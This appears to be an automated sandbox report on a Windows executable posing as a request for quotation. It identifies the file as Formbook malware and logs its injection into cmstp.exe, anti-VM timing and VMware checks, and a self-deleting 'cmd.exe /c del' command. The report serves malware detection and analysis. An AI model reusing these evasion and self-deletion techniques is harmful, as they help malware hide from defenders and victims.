Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/3@12/7

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 0_2_004041CD GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004041CD

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 0_2_00402020 CoCreateInstance,MultiByteToWideChar,

0_2_00402020

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6796:120:WilError_01

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

File created: C:\Users\user\AppData\Local\Temp\nsf9A31.tmp

Jump to behavior

Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

File read: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Process created: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
Source: C:\Windows\SysWOW64\cmstp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Process created: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'	Jump to behavior

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source:	Binary string: cmstp.pdbGCTL source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000001.00000002.717171007.0000000000950000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.679383327.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000000.00000003.656976974.00000000031D0000.00000004.00000001.sdmp, RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000001.00000002.717323957.0000000000ACF000.00000040.00000001.sdmp, cmstp.exe, 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, cmstp.exe
Source:	Binary string: cmstp.pdb source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000001.00000002.717171007.0000000000950000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.679383327.0000000005A00000.00000002.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Unpacked PE file: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 0_2_00405CFF GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405CFF

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_10002A10 push eax; ret	0_2_10002A3E
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_004059F6 push esp; ret	1_2_004059F9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0040C3B3 push edi; retf	1_2_0040C3C5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041B3B5 push eax; ret	1_2_0041B408
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041B46C push eax; ret	1_2_0041B472
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041B402 push eax; ret	1_2_0041B408
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041B40B push eax; ret	1_2_0041B472
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A2D0D1 push ecx; ret	1_2_00A2D0E4
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_004059F6 push esp; ret	1_1_004059F9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0040C3B3 push edi; retf	1_1_0040C3C5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041B3B5 push eax; ret	1_1_0041B408
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041B46C push eax; ret	1_1_0041B472
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041B402 push eax; ret	1_1_0041B408
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041B40B push eax; ret	1_1_0041B472
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050DD0D1 push ecx; ret	8_2_050DD0E4
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E759F6 push esp; ret	8_2_00E759F9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E7C3B3 push edi; retf	8_2_00E7C3C5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8B3B5 push eax; ret	8_2_00E8B408
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8C498 push esi; iretd	8_2_00E8C499
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8B46C push eax; ret	8_2_00E8B472
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8B40B push eax; ret	8_2_00E8B472
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8B402 push eax; ret	8_2_00E8B408

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	File created: \re; koc rfq for flangers - rfq 22965431.exe
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	File created: \re; koc rfq for flangers - rfq 22965431.exe			Jump to behavior

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

File created: C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmstp.exe	RDTSC instruction interceptor: First address: 0000000000E785E4 second address: 0000000000E785EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmstp.exe	RDTSC instruction interceptor: First address: 0000000000E7897E second address: 0000000000E78984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 1_2_004088B0 rdtsc

1_2_004088B0

Source: C:\Windows\explorer.exe TID: 4600	Thread sleep time: -50000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe TID: 6776	Thread sleep time: -48000s >= -30000s			Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmstp.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmstp.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_00405302 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00405302
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_00405CD8 FindFirstFileA,FindClose,	0_2_00405CD8
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_0040263E FindFirstFileA,	0_2_0040263E

Source: explorer.exe, 00000004.00000000.704986803.0000000004791000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATA
Source: explorer.exe, 00000004.00000000.685223140.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.679180973.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000004.00000000.680049667.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.685223140.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.704781155.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000004.00000000.685413556.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000004.00000000.679180973.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000004.00000000.679180973.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000004.00000000.686570732.000000000A783000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000000.00000002.665676994.000000000072A000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.679180973.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 1_2_004088B0 rdtsc

1_2_004088B0

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 1_2_00409B20 LdrLoadDll,

1_2_00409B20

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 0_2_00405CFF GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405CFF

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A020A0 mov eax, dword ptr fs:[00000030h]	1_2_00A020A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A020A0 mov eax, dword ptr fs:[00000030h]	1_2_00A020A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A020A0 mov eax, dword ptr fs:[00000030h]	1_2_00A020A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A020A0 mov eax, dword ptr fs:[00000030h]	1_2_00A020A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A020A0 mov eax, dword ptr fs:[00000030h]	1_2_00A020A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A020A0 mov eax, dword ptr fs:[00000030h]	1_2_00A020A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A190AF mov eax, dword ptr fs:[00000030h]	1_2_00A190AF
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D9080 mov eax, dword ptr fs:[00000030h]	1_2_009D9080
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0F0BF mov ecx, dword ptr fs:[00000030h]	1_2_00A0F0BF
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0F0BF mov eax, dword ptr fs:[00000030h]	1_2_00A0F0BF
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0F0BF mov eax, dword ptr fs:[00000030h]	1_2_00A0F0BF
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A53884 mov eax, dword ptr fs:[00000030h]	1_2_00A53884
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A53884 mov eax, dword ptr fs:[00000030h]	1_2_00A53884
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D58EC mov eax, dword ptr fs:[00000030h]	1_2_009D58EC
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00A6B8D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6B8D0 mov ecx, dword ptr fs:[00000030h]	1_2_00A6B8D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00A6B8D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00A6B8D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00A6B8D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00A6B8D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D40E1 mov eax, dword ptr fs:[00000030h]	1_2_009D40E1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D40E1 mov eax, dword ptr fs:[00000030h]	1_2_009D40E1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D40E1 mov eax, dword ptr fs:[00000030h]	1_2_009D40E1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0002D mov eax, dword ptr fs:[00000030h]	1_2_00A0002D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0002D mov eax, dword ptr fs:[00000030h]	1_2_00A0002D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0002D mov eax, dword ptr fs:[00000030h]	1_2_00A0002D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0002D mov eax, dword ptr fs:[00000030h]	1_2_00A0002D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0002D mov eax, dword ptr fs:[00000030h]	1_2_00A0002D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A57016 mov eax, dword ptr fs:[00000030h]	1_2_00A57016
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A57016 mov eax, dword ptr fs:[00000030h]	1_2_00A57016
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A57016 mov eax, dword ptr fs:[00000030h]	1_2_00A57016
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EB02A mov eax, dword ptr fs:[00000030h]	1_2_009EB02A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EB02A mov eax, dword ptr fs:[00000030h]	1_2_009EB02A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EB02A mov eax, dword ptr fs:[00000030h]	1_2_009EB02A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EB02A mov eax, dword ptr fs:[00000030h]	1_2_009EB02A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA4015 mov eax, dword ptr fs:[00000030h]	1_2_00AA4015
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA4015 mov eax, dword ptr fs:[00000030h]	1_2_00AA4015
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F0050 mov eax, dword ptr fs:[00000030h]	1_2_009F0050
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F0050 mov eax, dword ptr fs:[00000030h]	1_2_009F0050
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A92073 mov eax, dword ptr fs:[00000030h]	1_2_00A92073
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA1074 mov eax, dword ptr fs:[00000030h]	1_2_00AA1074
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A061A0 mov eax, dword ptr fs:[00000030h]	1_2_00A061A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A061A0 mov eax, dword ptr fs:[00000030h]	1_2_00A061A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A569A6 mov eax, dword ptr fs:[00000030h]	1_2_00A569A6
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A949A4 mov eax, dword ptr fs:[00000030h]	1_2_00A949A4
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A949A4 mov eax, dword ptr fs:[00000030h]	1_2_00A949A4
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A949A4 mov eax, dword ptr fs:[00000030h]	1_2_00A949A4
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A949A4 mov eax, dword ptr fs:[00000030h]	1_2_00A949A4
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A551BE mov eax, dword ptr fs:[00000030h]	1_2_00A551BE
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A551BE mov eax, dword ptr fs:[00000030h]	1_2_00A551BE
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A551BE mov eax, dword ptr fs:[00000030h]	1_2_00A551BE
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A551BE mov eax, dword ptr fs:[00000030h]	1_2_00A551BE
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FC182 mov eax, dword ptr fs:[00000030h]	1_2_009FC182
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0A185 mov eax, dword ptr fs:[00000030h]	1_2_00A0A185
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02990 mov eax, dword ptr fs:[00000030h]	1_2_00A02990
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A641E8 mov eax, dword ptr fs:[00000030h]	1_2_00A641E8
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DB1E1 mov eax, dword ptr fs:[00000030h]	1_2_009DB1E1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DB1E1 mov eax, dword ptr fs:[00000030h]	1_2_009DB1E1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DB1E1 mov eax, dword ptr fs:[00000030h]	1_2_009DB1E1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0513A mov eax, dword ptr fs:[00000030h]	1_2_00A0513A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0513A mov eax, dword ptr fs:[00000030h]	1_2_00A0513A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D9100 mov eax, dword ptr fs:[00000030h]	1_2_009D9100
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D9100 mov eax, dword ptr fs:[00000030h]	1_2_009D9100
